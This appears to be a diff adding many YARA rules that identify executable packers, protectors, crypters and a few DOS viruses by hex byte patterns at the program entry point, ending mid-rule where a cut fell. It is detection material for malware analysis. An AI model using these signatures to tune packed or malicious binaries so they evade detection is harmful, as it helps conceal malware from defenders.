+	rule yodasProtectorV1033AshkbizDanehkar
+	{
+	strings:
+			$a0 = { E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SoftSentryv211
+	{
+	strings:
+			$a0 = { 55 8B EC 83 EC ?? 53 56 57 E9 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv120EngdulekxtBorlandDelphiBorlandC
+	{
+	strings:
+			$a0 = { 0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03fakeStonesPEEncryptor20FEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 53 51 52 56 57 55 E8 00 00 00 00 5D 81 ED 42 30 40 00 FF 95 32 35 40 00 B8 37 30 40 00 03 C5 2B 85 1B 34 40 00 89 85 27 34 40 00 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov300
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RCryptorv11Vaska
+	{
+	strings:
+			$a0 = { 8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0 }
+	$a1 = { 8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule Fusion10jaNooNi
+	{
+	strings:
+			$a0 = { 68 04 30 40 00 68 04 30 40 00 E8 09 03 00 00 68 04 30 40 00 E8 C7 02 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UpxLock1012CyberDoomTeamXBoBBobSoft
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 48 12 40 00 60 E8 2B 03 00 00 61 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PCPEEncryptorAlphapreview
+	{
+	strings:
+			$a0 = { 53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 ?? 2B 8D EE 32 40 00 83 E9 0B 89 8D F2 32 40 ?? 80 BD D1 32 40 ?? 01 0F 84 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxKeypress1212
+	{
+	strings:
+			$a0 = { E8 ?? ?? E8 ?? ?? E8 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EA ?? ?? ?? ?? 1E 33 DB 8E DB BB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SoftwareCompressv12BGSoftwareProtectTechnologies
+	{
+	strings:
+			$a0 = { E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPackV14LiuXingPing
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 B1 85 40 00 2D AA 85 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VProtectorV11Avcasm
+	{
+	strings:
+			$a0 = { EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium1300ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 47 26 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule XXPack01bagie
+	{
+	strings:
+			$a0 = { E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 00 68 00 ?? ?? ?? C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeLocker10IonIce
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule yodasProtectorV101AshkbizDanehkar
+	{
+	strings:
+			$a0 = { 55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED D5 E4 41 00 8B D5 81 C2 23 E5 41 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule ASPackv2001AlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 72 05 00 00 EB 4C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule USERNAMEv300
+	{
+	strings:
+			$a0 = { FB 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 8C C8 2B C1 8B C8 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 33 C0 8E D8 06 0E 07 FC 33 F6 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule nSpackV2xLiuXingPing
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule GameGuardv20065xxdllsignbyhot_UNP
+	{
+	strings:
+			$a0 = { 31 FF 74 06 61 E9 4A 4D 50 30 BA 4C 00 00 00 80 7C 24 08 01 0F 85 ?? 01 00 00 60 BE 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upack_PatchoranyVersionDwing
+	{
+	strings:
+			$a0 = { 60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PCPECalpha
+	{
+	strings:
+			$a0 = { 53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 8B CD 81 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPACKv305c4Unextractable
+	{
+	strings:
+			$a0 = { 03 05 00 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Escargot01finalMeat
+	{
+	strings:
+			$a0 = { EB 04 40 30 2E 31 60 68 61 ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 92 ?? ?? ?? 8B 00 FF D0 50 B8 CD ?? ?? ?? 81 38 DE C0 37 13 75 2D 68 C9 ?? ?? ?? 6A 40 68 00 ?? 00 00 68 00 00 ?? ?? B8 96 ?? ?? ?? 8B 00 FF D0 8B 44 24 F0 8B 4C 24 F4 EB 05 49 C6 04 01 40 0B C9 75 F7 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MetrowerksCodeWarriorv20GUI
+	{
+	strings:
+			$a0 = { 55 89 E5 53 56 83 EC 44 55 B8 FF FF FF FF 50 50 68 ?? ?? 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule UnnamedScrambler21Beta211p0ke
+	{
+	strings:
+			$a0 = { 55 8B EC B9 15 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? 3A ?? ?? E8 ?? EE FF FF 33 C0 55 68 ?? 43 ?? ?? 64 FF 30 64 89 20 BA ?? 43 ?? ?? B8 E4 64 ?? ?? E8 0F FD FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? EE FF FF BA E8 64 ?? ?? 8B C3 8B 0D E4 64 ?? ?? E8 ?? D7 FF FF B8 F8 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 33 C0 A3 F8 ?? ?? ?? BB ?? ?? ?? ?? C7 45 EC E8 64 ?? ?? C7 45 E8 ?? ?? ?? ?? C7 45 E4 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? B8 E0 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 68 F4 01 00 00 E8 ?? EE FF FF 83 7B 04 00 75 0B 83 3B 00 0F 86 ?? 07 00 00 EB 06 0F 8E ?? 07 00 00 8B 03 8B D0 B8 E4 ?? ?? ?? E8 ?? E5 FF FF B8 E4 ?? ?? ?? E8 ?? E3 FF FF 8B D0 8B 45 EC 8B 0B E8 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule NoodleCryptv20
+	{
+	strings:
+			$a0 = { EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 }
+	$a1 = { EB 01 9A E8 ?? 00 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1
+	}
+	
+	
+	rule PoPa001PackeronPascalbagie
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 A4 3E 00 10 E8 30 F6 FF FF 33 C0 55 68 BE 40 00 10 ?? ?? ?? ?? 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 62 E7 FF FF 8B 45 EC E8 32 F2 FF FF 50 E8 B4 F6 FF FF A3 64 66 00 10 33 D2 55 68 93 40 00 10 64 FF 32 64 89 22 83 3D 64 66 00 10 FF 0F 84 3A 01 00 00 6A 00 6A 00 6A 00 A1 64 66 00 10 50 E8 9B F6 FF FF 83 E8 10 50 A1 64 66 00 10 50 E8 BC F6 FF FF 6A 00 68 80 66 00 10 6A 10 68 68 66 00 10 A1 64 66 00 10 50 E8 8B F6 FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule BlindSpot10s134k
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15 1C 10 40 00 8D 45 F8 8B 1D 18 10 40 00 56 50 6A 34 FF 35 90 12 40 00 FF 75 FC FF D3 85 C0 0F 84 7F 01 00 00 39 75 F8 0F 84 76 01 00 00 A1 90 12 40 00 66 8B 40 30 66 3D 01 00 75 14 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 14 10 40 00 EB 2C 66 3D 02 00 75 14 8D 85 E4 FE FF FF 50 68 04 01 00 00 FF 15 10 10 40 00 EB 12 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 0C 10 40 00 8B 3D 08 10 40 00 8D 85 E4 FE FF FF 68 54 10 40 00 50 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule GamehouseMediaProtectorVersionUnknown
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElockv042
+	{
+	strings:
+			$a0 = { C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 52 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEStealthv274WebToolMaster
+	{
+	strings:
+			$a0 = { EB 00 EB 17 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 90 E8 00 00 00 00 5D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEManagerVersion301994cSolarDesigner
+	{
+	strings:
+			$a0 = { B4 30 1E 06 CD 21 2E ?? ?? ?? BF ?? ?? B9 ?? ?? 33 C0 2E ?? ?? 47 E2 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule Upackv02BetaDwing
+	{
+	strings:
+			$a0 = { BE 88 01 ?? ?? AD 8B F8 95 A5 33 C0 33 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DEFv100Engbartxt
+	{
+	strings:
+			$a0 = { BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AnslymCrypter
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B D8 85 DB 0F 84 B6 02 00 00 53 A1 60 56 05 10 50 E8 F2 48 FB FF 8B F0 85 F6 0F 84 A0 02 00 00 E8 F3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ARMProtectorv02SMoKE
+	{
+	strings:
+			$a0 = { E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 09 20 40 00 EB 02 83 09 8D B5 9A 20 40 00 EB 02 83 09 BA 0B 12 00 00 EB 01 00 8D 8D A5 32 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CrypKeyV56XDLLKenonicControlsLtd
+	{
+	strings:
+			$a0 = { 8B 1D ?? ?? ?? ?? 83 FB 00 75 0A E8 ?? ?? ?? ?? E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEiDBundlev102v104BoBBobSoft
+	{
+	strings:
+			$a0 = { 60 E8 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxHeloween1172
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5E 81 EE ?? ?? 56 50 06 0E 1F 8C C0 01 ?? ?? 01 ?? ?? 80 ?? ?? ?? ?? 8B ?? ?? A3 ?? ?? 8A ?? ?? A2 ?? ?? B8 ?? ?? CD 21 3D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PackedwithPKLITEv150withCRCcheck1
+	{
+	strings:
+			$a0 = { 1F B4 09 BA ?? ?? CD 21 B8 ?? ?? CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Pe123v2006412
+	{
+	strings:
+			$a0 = { 8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DropperCreatorV01Conflict
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 8D 05 ?? ?? ?? ?? 29 C5 8D 85 ?? ?? ?? ?? 31 C0 64 03 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule XCRv013
+	{
+	strings:
+			$a0 = { 93 71 08 ?? ?? ?? ?? ?? ?? ?? ?? 8B D8 78 E2 ?? ?? ?? ?? 9C 33 C3 ?? ?? ?? ?? 60 79 CE ?? ?? ?? ?? E8 01 ?? ?? ?? ?? 83 C4 04 E8 AB FF FF FF ?? ?? ?? ?? 2B E8 ?? ?? ?? ?? 03 C5 FF 30 ?? ?? ?? ?? C6 ?? EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule XCRv012
+	{
+	strings:
+			$a0 = { 60 9C E8 ?? ?? ?? ?? 8B DD 5D 81 ED ?? ?? ?? ?? 89 9D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule InnoSetupModulev129
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 EC 89 45 C0 E8 5B 73 FF FF E8 D6 87 FF FF E8 C5 A9 FF FF E8 E0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov3xx
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule dUP2xPatcherwwwdiablo2oo2cjbnet
+	{
+	strings:
+			$a0 = { 8B CB 85 C9 74 ?? 80 3A 01 74 08 AC AE 75 0A 42 49 EB EF 47 46 42 49 EB E9 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PseudoSigner02PEProtect09Anorganix
+	{
+	strings:
+			$a0 = { 52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule pscrambler12byp0ke
+	{
+	strings:
+			$a0 = { 55 8B EC B9 04 00 00 00 6A 00 6A 00 49 75 F9 51 53 ?? ?? ?? ?? 10 E8 2D F3 FF FF 33 C0 55 68 E8 31 00 10 64 FF 30 64 89 20 8D 45 E0 E8 53 F5 FF FF 8B 45 E0 8D 55 E4 E8 30 F6 FF FF 8B 45 E4 8D 55 E8 E8 A9 F4 FF FF 8B 45 E8 8D 55 EC E8 EE F7 FF FF 8B 55 EC B8 C4 54 00 10 E8 D9 EC FF FF 83 3D C4 54 00 10 00 0F 84 05 01 00 00 80 3D A0 40 00 10 00 74 41 A1 C4 54 00 10 E8 D9 ED FF FF E8 48 E0 FF FF 8B D8 A1 C4 54 00 10 E8 C8 ED FF FF 50 B8 C4 54 00 10 E8 65 EF FF FF 8B D3 59 E8 69 E1 FF FF 8B C3 E8 12 FA FF FF 8B C3 E8 33 E0 FF FF E9 AD 00 00 00 B8 05 01 00 00 E8 0C E0 FF FF 8B D8 53 68 05 01 00 00 E8 57 F3 FF FF 8D 45 DC 8B D3 E8 39 ED FF FF 8B 55 DC B8 14 56 00 10 B9 00 32 00 10 E8 BB ED FF FF 8B 15 14 56 00 10 B8 C8 54 00 10 E8 53 E5 FF FF BA 01 00 00 00 B8 C8 54 00 10 E8 8C E8 FF FF E8 DF E0 FF FF 85 C0 75 52 6A 00 A1 C4 54 00 10 E8 3B ED FF FF 50 B8 C4 54 00 10 E8 D8 EE FF FF 8B D0 B8 C8 54 00 10 59 E8 3B E6 FF FF E8 76 E0 FF FF B8 C8 54 00 10 E8 4C E6 FF FF E8 67 E0 FF FF 6A 00 6A 00 6A 00 A1 14 56 00 10 E8 53 EE FF FF 50 6A 00 6A 00 E8 41 F3 FF FF 80 3D 9C 40 00 10 00 74 05 E8 EF FB FF FF 33 C0 5A 59 59 64 89 10 68 EF 31 00 10 8D 45 DC BA 05 00 00 00 E8 7D EB FF FF C3 E9 23 E9 FF FF EB EB 5B E8 63 EA FF FF 00 00 00 FF FF FF FF 08 00 00 00 74 65 6D 70 2E 65 78 65 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor2223compressedcodewwwstrongbitcom
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50 }
+	$a1 = { E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50 B8 C8 ?? ?? ?? 8B 04 18 FF D0 59 58 5B 83 EB 05 C6 03 B8 43 89 03 83 C3 04 C6 03 C3 09 C9 74 46 89 C3 E8 A0 00 00 00 FC AD 83 F8 FF 74 38 53 89 CB 01 C3 01 0B 83 C3 04 AC 3C FE 73 07 25 FF 00 00 00 EB ED 81 C3 FE 00 00 00 09 C0 7A 09 66 AD 25 FF FF 00 00 EB DA AD 4E 25 FF FF FF 00 3D FF FF FF 00 75 CC ?? ?? ?? ?? ?? C3 }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule Armadillov265b1
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 38 ?? ?? ?? 68 40 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 F4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackV112V114aPlib043ap0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF EB 0F FF ?? ?? ?? FF ?? ?? ?? D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PolyCryptPE214b215JLabSoftwareCreationshoep
+	{
+	strings:
+			$a0 = { 91 8B F4 AD FE C9 80 34 08 ?? E2 FA C3 60 E8 ED FF FF FF EB }
+
+	condition:
+			$a0
+	}
+	rule yodasProtector10xAshkbizDanehkar
+	{
+	strings:
+			$a0 = { 55 8B EC 53 56 57 E8 03 00 00 00 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upack_UnknownDLLDwing
+	{
+	strings:
+			$a0 = { 60 E8 09 00 00 00 17 CD 00 00 E9 06 02 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AINEXEv21
+	{
+	strings:
+			$a0 = { A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8 36 A3 ?? ?? 05 ?? ?? 36 A3 ?? ?? 2E A1 ?? ?? 8A D4 B1 04 D2 EA FE C9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AppProtectorSilentTeam
+	{
+	strings:
+			$a0 = { E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RODHighTECHAyman
+	{
+	strings:
+			$a0 = { 60 8B 15 1D 13 40 00 F7 E0 8D 82 83 19 00 00 E8 58 0C 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ICrypt10byBuGGz
+	{
+	strings:
